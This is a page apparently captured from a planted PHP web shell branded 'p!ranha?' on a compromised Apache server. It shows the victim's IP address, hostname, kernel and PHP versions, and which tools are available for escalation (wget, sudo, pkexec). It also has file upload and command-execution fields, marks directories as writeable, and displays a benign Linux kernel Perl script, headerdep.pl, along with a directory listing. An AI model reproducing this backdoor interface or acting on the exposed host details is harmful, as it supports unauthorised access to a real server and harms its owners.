p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /usr/lib/modules/3.10.0-1160.119.1.el7.x86_64/source/scripts/headerdep.pl
#! /usr/bin/perl
#
# Detect cycles in the header file dependency graph
# Vegard Nossum <vegardno@ifi.uio.no>
#

use strict;
use warnings;

use Getopt::Long;

my $opt_all;
my @opt_include;
my $opt_graph;

&Getopt::Long::Configure(qw(bundling pass_through));
&GetOptions(
	help	=> \&help,
	version	=> \&version,

	all	=> \$opt_all,
	"I=s"	=> \@opt_include,
	graph	=> \$opt_graph,
);

push @opt_include, 'include';
my %deps = ();
my %linenos = ();

my @headers = grep { strip($_) } @ARGV;

parse_all(@headers);

if($opt_graph) {
	graph();
} else {
	detect_cycles(@headers);
}


sub help {
	print "Usage: $0 [options] file...\n";
	print "\n";
	print "Options:\n";
	print "  --all\n";
	print "  --graph\n";
	print "\n";
	print "  -I includedir\n";
	print "\n";
	print "To make nice graphs, try:\n";
	print "  $0 --graph include/linux/kernel.h | dot -Tpng -o graph.png\n";
	exit;
}

sub version {
	print "headerdep version 2\n";
	exit;
}

# Get a file name that is relative to our include paths
sub strip {
	my $filename = shift;

	for my $i (@opt_include) {
		my $stripped = $filename;
		$stripped =~ s/^$i\///;

		return $stripped if $stripped ne $filename;
	}

	return $filename;
}

# Search for the file name in the list of include paths
sub search {
	my $filename = shift;
	return $filename if -f $filename;

	for my $i (@opt_include) {
		my $path = "$i/$filename";
		return $path if -f $path;
	}
	return;
}

sub parse_all {
	# Parse all the headers.
	my @queue = @_;
	while(@queue) {
		my $header = pop @queue;
		next if exists $deps{$header};

		$deps{$header} = [] unless exists $deps{$header};

		my $path = search($header);
		next unless $path;

		open(my $file, '<', $path) or die($!);
		chomp(my @lines = <$file>);
		close($file);

		for my $i (0 .. $#lines) {
			my $line = $lines[$i];
			if(my($dep) = ($line =~ m/^#\s*include\s*<(.*?)>/)) {
				push @queue, $dep;
				push @{$deps{$header}}, [$i + 1, $dep];
			}
		}
	}
}

sub print_cycle {
	# $cycle[n] includes $cycle[n + 1];
	# $cycle[-1] will be the culprit
	my $cycle = shift;

	# Adjust the line numbers
	for my $i (0 .. $#$cycle - 1) {
		$cycle->[$i]->[0] = $cycle->[$i + 1]->[0];
	}
	$cycle->[-1]->[0] = 0;

	my $first = shift @$cycle;
	my $last = pop @$cycle;

	my $msg = "In file included";
	printf "%s from %s,\n", $msg, $last->[1] if defined $last;

	for my $header (reverse @$cycle) {
		printf "%s from %s:%d%s\n",
			" " x length $msg,
			$header->[1], $header->[0],
			$header->[1] eq $last->[1] ? ' <-- here' : '';
	}

	printf "%s:%d: warning: recursive header inclusion\n",
		$first->[1], $first->[0];
}

# Find and print the smallest cycle starting in the specified node.
sub detect_cycles {
	my @queue = map { [[0, $_]] } @_;
	while(@queue) {
		my $top = pop @queue;
		my $name = $top->[-1]->[1];

		for my $dep (@{$deps{$name}}) {
			my $chain = [@$top, [$dep->[0], $dep->[1]]];

			# If the dep already exists in the chain, we have a
			# cycle...
			if(grep { $_->[1] eq $dep->[1] } @$top) {
				print_cycle($chain);
				next if $opt_all;
				return;
			}

			push @queue, $chain;
		}
	}
}

sub mangle {
	$_ = shift;
	s/\//__/g;
	s/\./_/g;
	s/-/_/g;
	$_;
}

# Output dependency graph in GraphViz language.
sub graph {
	print "digraph {\n";

	print "\t/* vertices */\n";
	for my $header (keys %deps) {
		printf "\t%s [label=\"%s\"];\n",
			mangle($header), $header;
	}

	print "\n";

	print "\t/* edges */\n";
	for my $header (keys %deps) {
		for my $dep (@{$deps{$header}}) {
			printf "\t%s -> %s;\n",
				mangle($header), mangle($dep->[1]);
		}
	}

	print "}\n";
}
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
September 29 2025 07:00:58
0 / 0
0755
basic
--
September 29 2025 07:01:29
0 / 0
0755
coccinelle
--
September 29 2025 07:00:57
0 / 0
0755
dtc
--
September 29 2025 07:01:30
0 / 0
0755
genksyms
--
September 29 2025 07:01:30
0 / 0
0755
kconfig
--
September 29 2025 07:01:30
0 / 0
0755
ksymoops
--
September 29 2025 07:01:29
0 / 0
0755
mod
--
September 29 2025 07:01:30
0 / 0
0755
package
--
September 29 2025 07:01:30
0 / 0
0755
rt-tester
--
September 29 2025 07:01:29
0 / 0
0755
selinux
--
September 29 2025 07:01:29
0 / 0
0755
tracing
--
September 29 2025 07:01:30
0 / 0
0755
Kbuild.include
10.251 KB
November 06 2023 09:15:52
0 / 0
0644
Lindent
0.449 KB
November 06 2023 09:15:52
0 / 0
0755
Makefile
1.394 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.asm-generic
0.668 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.build
15.908 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.clean
3.232 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.fwinst
2.026 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.headersinst
4.716 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.help
0.066 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.host
6.458 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.lib
13.569 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modbuiltin
1.783 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modinst
1.158 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modpost
5.148 KB
November 06 2023 09:15:52
0 / 0
0644
Makefile.modsign
0.979 KB
November 06 2023 09:15:52
0 / 0
0644
asn1_compiler
22.336 KB
June 04 2024 14:55:43
0 / 0
0755
asn1_compiler.c
33.967 KB
November 06 2023 09:15:52
0 / 0
0644
bloat-o-meter
1.755 KB
November 06 2023 09:15:52
0 / 0
0755
bootgraph.pl
5.62 KB
November 06 2023 09:15:52
0 / 0
0644
checkincludes.pl
1.773 KB
November 06 2023 09:15:52
0 / 0
0755
checkkconfigsymbols.sh
1.82 KB
November 06 2023 09:15:52
0 / 0
0755
checkpatch.pl
101.344 KB
November 06 2023 09:15:52
0 / 0
0755
checkstack.pl
5.335 KB
November 06 2023 09:15:52
0 / 0
0755
checksyscalls.sh
5.637 KB
November 06 2023 09:15:52
0 / 0
0755
checkversion.pl
1.859 KB
November 06 2023 09:15:52
0 / 0
0755
cleanfile
3.41 KB
November 06 2023 09:15:52
0 / 0
0755
cleanpatch
5.012 KB
November 06 2023 09:15:52
0 / 0
0755
coccicheck
3.775 KB
November 06 2023 09:15:52
0 / 0
0755
config
3.646 KB
November 06 2023 09:15:52
0 / 0
0755
conmakehash
10.164 KB
June 04 2024 14:55:43
0 / 0
0755
conmakehash.c
5.998 KB
November 06 2023 09:15:52
0 / 0
0644
decodecode
2.149 KB
November 06 2023 09:15:52
0 / 0
0755
depmod.sh
1.668 KB
November 06 2023 09:15:52
0 / 0
0755
diffconfig
3.541 KB
November 06 2023 09:15:52
0 / 0
0755
docproc.c
13.694 KB
November 06 2023 09:15:52
0 / 0
0644
export_report.pl
4.534 KB
November 06 2023 09:15:52
0 / 0
0644
extract-ikconfig
1.645 KB
November 06 2023 09:15:52
0 / 0
0755
extract-vmlinux
1.599 KB
November 06 2023 09:15:52
0 / 0
0755
gcc-goto.sh
0.454 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-version.sh
0.803 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-x86_32-has-stack-protector.sh
0.18 KB
November 06 2023 09:15:52
0 / 0
0644
gcc-x86_64-has-stack-protector.sh
0.195 KB
November 06 2023 09:15:52
0 / 0
0644
gen_initramfs_list.sh
7.382 KB
November 06 2023 09:15:52
0 / 0
0644
get_maintainer.pl
54.114 KB
November 06 2023 09:15:52
0 / 0
0755
gfp-translate
1.711 KB
November 06 2023 09:15:52
0 / 0
0755
headerdep.pl
3.465 KB
November 06 2023 09:15:52
0 / 0
0755
headers.sh
0.518 KB
November 06 2023 09:15:52
0 / 0
0755
headers_check.pl
3.6 KB
November 06 2023 09:15:52
0 / 0
0644
headers_install.sh
1.279 KB
November 06 2023 09:15:52
0 / 0
0644
kallsyms
14.43 KB
June 04 2024 14:55:43
0 / 0
0755
kallsyms.c
16.522 KB
November 06 2023 09:15:52
0 / 0
0644
kernel-doc
71.414 KB
November 06 2023 09:15:52
0 / 0
0755
link-vmlinux.sh
5.648 KB
November 06 2023 09:15:52
0 / 0
0644
makelst
0.755 KB
November 06 2023 09:15:52
0 / 0
0755
markup_oops.pl
8.08 KB
November 06 2023 09:15:52
0 / 0
0644
mkcompile_h
2.461 KB
November 06 2023 09:15:52
0 / 0
0755
mkmakefile
1.167 KB
November 06 2023 09:15:52
0 / 0
0644
mksysmap
1.319 KB
November 06 2023 09:15:52
0 / 0
0644
mkuboot.sh
0.37 KB
November 06 2023 09:15:52
0 / 0
0755
mkversion
0.072 KB
November 06 2023 09:15:52
0 / 0
0644
module-common.lds
0.739 KB
November 06 2023 09:15:52
0 / 0
0644
modules.order
0 KB
June 04 2024 14:44:29
0 / 0
0644
namespace.pl
13.001 KB
November 06 2023 09:15:52
0 / 0
0755
patch-kernel
9.914 KB
November 06 2023 09:15:52
0 / 0
0755
pnmtologo
14.188 KB
June 04 2024 14:55:43
0 / 0
0755
pnmtologo.c
11.912 KB
November 06 2023 09:15:52
0 / 0
0644
profile2linkerlist.pl
0.366 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount
18.281 KB
June 04 2024 14:55:43
0 / 0
0755
recordmcount.c
12.398 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount.h
16.339 KB
November 06 2023 09:15:52
0 / 0
0644
recordmcount.pl
17.568 KB
November 06 2023 09:15:52
0 / 0
0755
setlocalversion
3.938 KB
November 06 2023 09:15:52
0 / 0
0755
show_delta
2.981 KB
November 06 2023 09:15:52
0 / 0
0755
sign-file
12.164 KB
November 06 2023 09:15:52
0 / 0
0755
sortextable
14.188 KB
June 04 2024 14:55:43
0 / 0
0755
sortextable.c
7.412 KB
November 06 2023 09:15:52
0 / 0
0644
sortextable.h
5.479 KB
November 06 2023 09:15:52
0 / 0
0644
tags.sh
9.87 KB
November 06 2023 09:15:52
0 / 0
0755
unifdef
26.336 KB
June 04 2024 14:55:43
0 / 0
0755
unifdef.c
34.804 KB
November 06 2023 09:15:52
0 / 0
0644
ver_linux
3.091 KB
November 06 2023 09:15:52
0 / 0
0755
xz_wrap.sh
0.549 KB
November 06 2023 09:15:52
0 / 0
0644